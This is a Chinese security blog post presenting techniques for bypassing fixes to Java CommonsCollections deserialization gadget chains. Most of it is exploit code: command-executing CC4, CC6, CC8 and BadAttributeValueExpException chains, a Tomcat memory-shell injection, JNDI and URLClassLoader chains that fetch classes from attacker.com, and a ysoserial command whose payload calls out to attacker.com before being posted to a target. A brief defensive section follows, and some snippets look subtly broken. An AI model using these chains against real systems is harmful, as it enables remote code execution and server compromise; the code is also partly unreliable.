Java反序列化链CommonsCollections的绕过技巧

2025-03-26 19 0

一、JDK 高版本绕过(针对 8u71+ 的修复)

1. CC6 链构造技巧

// 使用 TiedMapEntry 替代 AnnotationInvocationHandler
Transformer chain = new ChainedTransformer(new Transformer[]{
    new ConstantTransformer(Runtime.class),
    new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
    new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
    new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"})
});

Map lazyMap = LazyMap.decorate(new HashMap(), chain);
TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo"); 

// 通过反射触发
HashSet hashSet = new HashSet(1);
hashSet.add("bar");

// 反射修改 HashSet 内部结构
Field tableField = HashSet.class.getDeclaredField("map");
tableField.setAccessible(true);
HashMap internalMap = (HashMap) tableField.get(hashSet);

Field entryField = HashMap.class.getDeclaredField("table");
entryField.setAccessible(true);
Object[] table = (Object[]) entryField.get(internalMap);
Object node = table[0];

Field keyField = node.getClass().getDeclaredField("key");
keyField.setAccessible(true);
keyField.set(node, entry); // 将恶意对象注入HashSet

// 序列化触发
serialize(hashSet);

绕过原理

  • 利用TiedMapEntry.getValue()自动调用LazyMap.get()的特性

  • 通过修改HashSet内部存储结构绕过AnnotationInvocationHandler限制

二、黑名单过滤绕过

1. 非常规 Transformer 组合

// 使用 Commons Collections 的其它类构造链
Transformer[] chain = new Transformer[]{
    new ConstantTransformer(javax.script.ScriptEngineManager.class),
    new InvokerTransformer("newInstance", null, null),
    new InvokerTransformer("getEngineByName", 
        new Class[]{String.class}, 
        new Object[]{"JavaScript"}),
    new InvokerTransformer("eval", 
        new Class[]{String.class}, 
        new Object[]{"java.lang.Runtime.getRuntime().exec('calc')"})
};

2. 结合 XStream 别名绕过

<!-- 利用 XStream 的别名机制隐藏类名 -->
<xstream>
  <alias name="harmless" type="org.apache.commons.collections.functors.InvokerTransformer"/>
</xstream>

<!-- 实际攻击载荷 -->
<harmless>
  <iMethodName>exec</iMethodName>
  <iParamTypes>
    <class>java.lang.String</class>
  </iParamTypes>
  <iArgs>
    <string>calc</string>
  </iArgs>
</harmless>

三、无文件落地攻击

1. 内存马注入(Tomcat Filter 型)

Transformer[] memShellChain = new Transformer[]{
    new ConstantTransformer(Thread.currentThread().getContextClassLoader()),
    new InvokerTransformer("loadClass", 
        new Class[]{String.class}, 
        new Object[]{"javax.servlet.Filter"}),
    new InvokerTransformer("getMethod", 
        new Class[]{String.class, Class[].class}, 
        new Object[]{"addFilter", new Class[]{String.class, Filter.class}}),
    new InvokerTransformer("invoke", 
        new Class[]{Object.class, Object[].class}, 
        new Object[]{null, new Object[]{"evilFilter", new MaliciousFilter()}})
};

2. JNDI 远程类加载

// 结合 Log4j2 漏洞的混合利用
Transformer[] jndiChain = new Transformer[]{
    new ConstantTransformer(JndiLookup.class),
    new InvokerTransformer("lookup", 
        new Class[]{String.class}, 
        new Object[]{"ldap://attacker.com/Exploit"})
};

四、字节码注入绕过

1. 使用 TemplatesImpl 加载 BCEL 字节码

// 生成恶意字节码
String bcelCode = "$$BCEL$$..."; 
byte[] bytecode = com.sun.org.apache.bcel.internal.classfile.Utility.decode(bcelCode, true);

// 构造 TemplatesImpl 链
TemplatesImpl templates = new TemplatesImpl();
setField(templates, "_bytecodes", new byte[][]{bytecode});
setField(templates, "_name", "Exploit");
setField(templates, "_tfactory", null);

Transformer[] bcChain = new Transformer[]{
    new ConstantTransformer(templates),
    new InvokerTransformer("newTransformer", null, null)
};

2. Groovy 链利用

// 利用 Groovy 的 MethodClosure
Class methodClosure = Class.forName("groovy.lang.Closure");
Object closure = methodClosure.getConstructor(Object.class, Object.class)
                             .newInstance(new MethodClosure("calc", "execute"), "execute");

Transformer[] groovyChain = new Transformer[]{
    new ConstantTransformer(closure),
    new InvokerTransformer("call", null, null)
};

五、防御对抗技巧

1. 反射黑名单绕过

// 使用 Unsafe 类绕过反射限制
Field theUnsafe = Unsafe.class.getDeclaredField("theUnsafe");
theUnsafe.setAccessible(true);
Unsafe unsafe = (Unsafe) theUnsafe.get(null);

// 直接内存操作修改访问权限
Class cls = Class.forName("java.lang.reflect.AccessibleObject");
Field overrideField = cls.getDeclaredField("override");
long offset = unsafe.objectFieldOffset(overrideField);

// 强制修改字段值
unsafe.putBoolean(chain, offset, true);

2. 动态类加载绕过

// 使用 URLClassLoader 加载远程类
Transformer[] urlChain = new Transformer[]{
    new ConstantTransformer(URLClassLoader.class),
    new InvokerTransformer("newInstance", 
        new Class[]{URL[].class}, 
        new Object[]{new URL[]{new URL("http://attacker.com/")}}),
    new InvokerTransformer("loadClass", 
        new Class[]{String.class}, 
        new Object[]{"Exploit"}),
    new InvokerTransformer("newInstance", null, null)
};

六、检测与防御方案

1. 防御性代码示例

// 安全反序列化实现
public class SafeObjectInputStream extends ObjectInputStream {
    private static final Set<String> allowedClasses = 
        Set.of("java.lang.String", "java.util.HashMap");

    public SafeObjectInputStream(InputStream in) throws IOException {
        super(in);
    }

    @Override
    protected Class<?> resolveClass(ObjectStreamClass desc) 
        throws IOException, ClassNotFoundException {
        if (!allowedClasses.contains(desc.getName())) {
            throw new InvalidClassException("Unauthorized class: ", desc.getName());
        }
        return super.resolveClass(desc);
    }
}

2. 运行时防护(RASP)

// 使用 Java Agent 监控危险方法
public static class SecurityAgent {
    public static void premain(String args, Instrumentation inst) {
        inst.addTransformer((loader, className, classBeingRedefined, 
            protectionDomain, classfileBuffer) -> {
            if (className.equals("java/io/ObjectInputStream")) {
                ClassReader cr = new ClassReader(classfileBuffer);
                ClassWriter cw = new ClassWriter(cr, ClassWriter.COMPUTE_FRAMES);
                cr.accept(new ObjectInputStreamVisitor(cw), 0);
                return cw.toByteArray();
            }
            return classfileBuffer;
        });
    }
}

// ASM 字节码插桩
class ObjectInputStreamVisitor extends ClassVisitor {
    public MethodVisitor visitMethod(int access, String name, String desc, 
        String signature, String[] exceptions) {
        MethodVisitor mv = super.visitMethod(access, name, desc, signature, exceptions);
        if (name.equals("readObject")) {
            mv.visitCode();
            mv.visitMethodInsn(INVOKESTATIC, "SecurityCheck", "validateDeserialization");
            mv.visitEnd();
        }
        return mv;
    }
}

总结与验证

攻击验证命令

# 使用 ysoserial 生成绕过 payload
java -Djdk.xml.enableTemplatesImplDeserialization=true \
     -jar ysoserial.jar CommonsCollections6 "curl http://attacker.com" > payload.bin

# 发送到测试服务
curl -X POST --data-binary @payload.bin http://vulnerable-app/deserialize

审计关注点

// 危险代码模式
ObjectInputStream.readObject() 
XMLDecoder.readObject()
JSON.parseObject(input, Feature.SupportNonPublicField)
RMI Registry.bind() // 远程对象绑定

防御策略

  • 升级 Commons Collections 到 4.4+ 版本

  • 使用SerialKiller等安全反序列化库

  • 启用 SecurityManager 沙箱

  • 部署 RASP 进行运行时保护

关于Java CommonsCollections 反序列化链 的进阶绕过技巧

一、CC4 链:利用PriorityQueueTransformingComparator

绕过原理

  • 核心组件TransformingComparator在 CommonsCollections4 中实现Serializable,通过PriorityQueue反序列化触发compare()方法

  • 优势:绕过高版本 JDK 对AnnotationInvocationHandler的限制,适用于 Commons-Collections 4.0

代码实现

// 构造 TemplatesImpl 恶意类
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_name", "Exploit");
byte[] code = loadEvilClassBytes(); // 加载恶意字节码
setFieldValue(templates, "_bytecodes", new byte[][]{code});

// 构建 InstantiateTransformer 触发 newTransformer()
Transformer[] transformers = new Transformer[]{
    new ConstantTransformer(TrAXFilter.class),
    new InstantiateTransformer(
        new Class[]{Templates.class}, 
        new Object[]{templates}
    )
};
ChainedTransformer chain = new ChainedTransformer(transformers);

// 配置 TransformingComparator
TransformingComparator comparator = new TransformingComparator<>(new ConstantTransformer(1));
PriorityQueue queue = new PriorityQueue<>(2, comparator);
queue.add(1);
queue.add(2);

// 反射注入真实 Transformer 链
setFieldValue(comparator, "transformer", chain);

// 序列化与反序列化触发
serialize(queue);
deserialize("payload.bin");

关键点

  • 恶意类加载:通过TemplatesImpl直接加载字节码,绕过Runtime不可序列化问题

  • 动态注入:先初始化无害Transformer防止序列化时触发检测,反射替换为恶意链

二、BadAttributeValueExpException链:利用异常类触发

绕过原理

  • 触发点BadAttributeValueExpExceptionreadObject方法调用val.toString()

  • 利用链TiedMapEntry.getValue()LazyMap.get()ChainedTransformer.transform()

代码案例

// 构造 Transformer 链
Transformer[] transformers = new Transformer[]{
    new ConstantTransformer(Runtime.class),
    new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
    new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
    new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chain = new ChainedTransformer(transformers);

// 配置 LazyMap 与 TiedMapEntry
Map lazyMap = LazyMap.decorate(new HashMap(), chain);
TiedMapEntry entry = new TiedMapEntry(lazyMap, "trigger_key");

// 通过反射设置 BadAttributeValueExpException 的 val 属性
BadAttributeValueExpException exp = new BadAttributeValueExpException(null);
Field valField = exp.getClass().getDeclaredField("val");
valField.setAccessible(true);
valField.set(exp, entry);

// 序列化触发
serialize(exp);

优势

  • 无需动态代理:直接利用异常类的反序列化流程,绕过AnnotationInvocationHandler依赖

  • 兼容性:适用于未修复的 Commons-Collections 3.x 版本

三、CC8 链:TreeBagTreeMap组合触发

绕过原理

  • 核心组件:利用TreeBag反序列化时调用TreeMap.put(),触发TransformingComparator.compare()

  • 特性:适用于 Commons-Collections 4.0,结合InvokerTransformer直接调用方法

代码实现

// 配置 TemplatesImpl 恶意类(同 CC4)
TemplatesImpl templates = createEvilTemplates();

// 构建 Transformer 链
Transformer[] transformers = new Transformer[]{
    new ConstantTransformer(templates),
    new InvokerTransformer("newTransformer", null, null)
};
ChainedTransformer chain = new ChainedTransformer(transformers);

// 配置 TransformingComparator
TransformingComparator comparator = new TransformingComparator<>(chain);

// 构造 TreeBag 触发链
TreeBag bag = new TreeBag(comparator);
bag.add("dummy"); // 触发 TreeMap.put()

// 序列化与反序列化
serialize(bag);
deserialize("payload.bin");

关键步骤

  • TreeBag 入口TreeBag.readObject()调用父类doReadObject,触发TreeMap.put()

  • 链式触发:通过TransformingComparator桥接至InvokerTransformer

四、动态类加载与ClassLoader注入

绕过原理

  • 核心思路:利用URLClassLoaderdefineClass动态加载远程恶意类

  • 优势:绕过本地代码执行检测,实现远程代码加载

代码案例

// 构造远程类加载链
Transformer[] transformers = new Transformer[]{
    new ConstantTransformer(URLClassLoader.class),
    new InvokerTransformer("newInstance", 
        new Class[]{URL[].class}, 
        new Object[]{new URL[]{new URL("http://attacker.com/evil.jar")}}),
    new InvokerTransformer("loadClass", 
        new Class[]{String.class}, 
        new Object[]{"Exploit"}),
    new InvokerTransformer("newInstance", null, null)
};
ChainedTransformer chain = new ChainedTransformer(transformers);

// 后续利用链配置(如结合 LazyMap 或 PriorityQueue)
Map lazyMap = LazyMap.decorate(new HashMap(), chain);
TiedMapEntry entry = new TiedMapEntry(lazyMap, "key");

防御绕过

  • 动态加载:避免直接执行敏感命令,通过加载远程类实现隐蔽攻击

  • 协议扩展:支持httpftp等协议加载恶意代码

总结与演进方向

  • 混合利用链:结合多个库的特性(如 Groovy、JNDI)构造跨组件攻击链

  • 自动化工具:使用GadgetInspector扫描项目中的潜在利用节点

  • 防御纵深:结合 SAST(静态分析)、IAST(交互式检测)、RASP(运行时防护)实现立体防御


4A评测 - 免责申明

本站提供的一切软件、教程和内容信息仅限用于学习和研究目的。

不得将上述内容用于商业或者非法用途,否则一切后果请用户自负。

本站信息来自网络,版权争议与本站无关。您必须在下载后的24个小时之内,从您的电脑或手机中彻底删除上述内容。

如果您喜欢该程序,请支持正版,购买注册,得到更好的正版服务。如有侵权请邮件与我们联系处理。敬请谅解!

程序来源网络,不确保不包含木马病毒等危险内容,请在确保安全的情况下或使用虚拟机使用。

侵权违规投诉邮箱:4ablog168#gmail.com(#换成@)

相关文章

大模型安全警报:你的AI客服正在泄露客户银行卡号
HTB-Devvortex-WriteUp
WEB漏洞——越权
新型SectopRAT木马利用Cloudflare验证系统攻击Windows用户
医疗行业网络安全现状令人担忧
2025年全球网络安全支出预计增长12.2%

发布评论